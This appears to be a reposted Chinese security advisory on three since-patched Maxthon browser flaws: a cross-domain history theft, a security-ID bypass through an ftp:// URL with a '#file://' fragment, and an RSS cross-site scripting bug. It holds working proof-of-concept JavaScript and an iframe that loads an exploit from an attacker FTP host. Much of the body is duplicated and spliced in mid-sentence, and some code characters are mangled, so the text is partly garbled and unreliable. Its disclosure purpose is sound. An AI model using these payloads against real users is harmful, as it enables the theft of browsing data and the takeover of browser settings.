遨游已经修复的三个安全漏洞分析
网络安全 2021-07-03 10:02www.168986.cn网络安全知识
在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon./,此次更新修复了三个安全问题,主要的问题细节如下
漏洞来源http://.80sec./release/maxthon-vulns-poc.txt
1 浏览器内核漏洞导致的本地跨域漏洞
漏洞说明maxthon采用了系统的IE内核,该内核可能存在一些安全漏洞导致跨域攻击,而遨游的max:等的域是在本地等同于file://,所以这个跨域攻击将导致在本地上下文中执行javascript代码,这里只给出取得遨游浏览历史记录的POC。
漏洞POC
<a href="">Maxthon Exploit</a>
<script>
function win(){
x=window.open("max:history");
setTimeout(function(){
x.location=new String("javascript:x=maxHistory.history.list.site.loadData();for(i=0;i<x.length;i ) document.write(x[i].site \”<br>\”);”)
},3000)
}
window.onload=function(){
for (i=0;i<document.links.length;i ) {
document.links[i].href=”javascript:win()”
}
}
</script>
漏洞修复在IE内核修复之前,遨游新版本已经修复这个安全漏洞 2 遨游安全中心漏洞导致的远程修改任意用户设置 漏洞说明遨游对IE内核的一些特性并不是十分了解,导致在处理一些特殊情况时出现安全漏洞。遨游的控制中心实际上就是一组HTML JAVASCRIPT,通过这些页面可以读取敏感数据,修改浏览器设置,下载文件等等。,遨游也有自己的安全策略,将那些HTML文件放到外部站点上并不能直接调用,因为遨游有一个安全控制策略,security.src,这个文件代码如下
var max_security_id=''; var url=String(document.location).toLowerCase(); if(url.indexOf('file://')>-1&&url.indexOf('http://')==-1&&url.indexOf('https://')==-1){ max_security_id='{B73B3AC9-B009-4429-AE67-514332D791FE}'; }else{ document.location='about:blank'; } 其中max_security_id是遨游在调用各种控件时必须的一个参数,这个参数在各个功能里是必须的,各个机器的max_security_id并不相同。如果我们能取得这个max_security_id那么就可以在远程任意站点调用遨游的各种功能譬如设置,读取敏感数据甚至是远程代码执行了。 ,这个max_security_id每次启动貌似都会更改,这个max_security_id会存储在安装目录的template/security.src里,而我们可以在自己的站点页面里做如下调用
<script src="E:\Program Files\Maxthon2\template\security.src"></script>
<script src="d:\Program Files\Maxthon2\template\security.src"></script>
<script src="c:\Program Files\Maxthon2\template\security.src"></script>
别意外,遨游是允许做这样调用本地文件的),security.src也是有限制的,只有当location里包含file:///并且不包含http://和https:///的时候才会赋值,否则会跳转。这里遨游有个错误就是黑名单策略导致可以使用譬如ftp://的协议饶过,至于想包含file://也很简单
ftp://.foo./exploit.html#file://80sec.
这样一个地址实际访问的是exploit.html,location却包含file://,安全策略被饶过,可以取得max_security_id,然后利用取得的max_security_id可以做一切操作。 漏洞POC 搭建一个匿名ftp服务器.foo.,然后在恶意站点做如下引用
<iframe src="ftp://.foo./history/index.htm#file:///.80sec." width=100% height=100%>
/history/index.htm为放在.foo.上的精心构造的exploit,最简单的方式就是将官方安装目录里的template里的history等子目录狼蚁网站SEO优化的index.html里的
<script type="text/javascript" src="../security.src"></script>
换成
<script src="E:\Program Files\Maxthon2\template\security.src"></script>
<script src="d:\Program Files\Maxthon2\template\security.src"></script>
<script src="c:\Program Files\Maxthon2\template\security.src"></script>
通过修改里面的index.htm内容就可以修改浏览器设置,读取历史记录等等 漏洞修复新版本将代码修正为
var max_security_id=''; if(String(window.document.location).toLowerCase().indexOf('file://')==0){ max_security_id='{02E14D94-53C8-4B6D-89AE-755DC5299C6C}'; }else{ document.location='about:blank'; }
限定只能本地文件能引用这个js,修复了这个问题。 3 RSS订阅跨站脚本漏洞 漏洞说明遨游在实现rss功能时存在问题,导致在访问有问题的页面时会出现xss漏洞 漏洞POC订阅http://.80sec./feed就可以看到效果) 漏洞修复新版本已经修复 Maxthon对待漏洞的态度非常严谨,希望Maxthon用户尽快升级到新版.
<script>
function win(){
x=window.open("max:history");
setTimeout(function(){
x.location=new String("javascript:x=maxHistory.history.list.site.loadData();for(i=0;i<x.length;i ) document.write(x[i].site \”<br>\”);”)
},3000)
}
window.onload=function(){
for (i=0;i<document.links.length;i ) {
document.links[i].href=”javascript:win()”
}
}
</script>
漏洞修复在IE内核修复之前,遨游新版本已经修复这个安全漏洞 2 遨游安全中心漏洞导致的远程修改任意用户设置 漏洞说明遨游对IE内核的一些特性并不是十分了解,导致在处理一些特殊情况时出现安全漏洞。遨游的控制中心实际上就是一组HTML JAVASCRIPT,通过这些页面可以读取敏感数据,修改浏览器设置,下载文件等等。,遨游也有自己的安全策略,将那些HTML文件放到外部站点上并不能直接调用,因为遨游有一个安全控制策略,security.src,这个文件代码如下
var max_security_id=''; var url=String(document.location).toLowerCase(); if(url.indexOf('file://')>-1&&url.indexOf('http://')==-1&&url.indexOf('https://')==-1){ max_security_id='{B73B3AC9-B009-4429-AE67-514332D791FE}'; }else{ document.location='about:blank'; } 其中max_security_id是遨游在调用各种控件时必须的一个参数,这个参数在各个功能里是必须的,各个机器的max_security_id并不相同。如果我们能取得这个max_security_id那么就可以在远程任意站点调用遨游的各种功能譬如设置,读取敏感数据甚至是远程代码执行了。 ,这个max_security_id每次启动貌似都会更改,这个max_security_id会存储在安装目录的template/security.src里,而我们可以在自己的站点页面里做如下调用
<script src="E:\Program Files\Maxthon2\template\security.src"></script>
<script src="d:\Program Files\Maxthon2\template\security.src"></script>
<script src="c:\Program Files\Maxthon2\template\security.src"></script>
别意外,遨游是允许做这样调用本地文件的),security.src也是有限制的,只有当location里包含file:///并且不包含http://和https:///的时候才会赋值,否则会跳转。这里遨游有个错误就是黑名单策略导致可以使用譬如ftp://的协议饶过,至于想包含file://也很简单
ftp://.foo./exploit.html#file://80sec.
这样一个地址实际访问的是exploit.html,location却包含file://,安全策略被饶过,可以取得max_security_id,然后利用取得的max_security_id可以做一切操作。 漏洞POC 搭建一个匿名ftp服务器.foo.,然后在恶意站点做如下引用
<iframe src="ftp://.foo./history/index.htm#file:///.80sec." width=100% height=100%>
/history/index.htm为放在.foo.上的精心构造的exploit,最简单的方式就是将官方安装目录里的template里的history等子目录狼蚁网站SEO优化的index.html里的
<script type="text/javascript" src="../security.src"></script>
换成
<script src="E:\Program Files\Maxthon2\template\security.src"></script>
<script src="d:\Program Files\Maxthon2\template\security.src"></script>
<script src="c:\Program Files\Maxthon2\template\security.src"></script>
通过修改里面的index.htm内容就可以修改浏览器设置,读取历史记录等等 漏洞修复新版本将代码修正为
var max_security_id=''; if(String(window.document.location).toLowerCase().indexOf('file://')==0){ max_security_id='{02E14D94-53C8-4B6D-89AE-755DC5299C6C}'; }else{ document.location='about:blank'; }
限定只能本地文件能引用这个js,修复了这个问题。 3 RSS订阅跨站脚本漏洞 漏洞说明遨游在实现rss功能时存在问题,导致在访问有问题的页面时会出现xss漏洞 漏洞POC订阅http://.80sec./feed就可以看到效果) 漏洞修复新版本已经修复 Maxthon对待漏洞的态度非常严谨,希望Maxthon用户尽快升级到新版.
上一篇:Z-blog跨站脚本攻击漏洞
下一篇:暴风影音视频加速程序模块缓冲区溢出漏洞的分
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座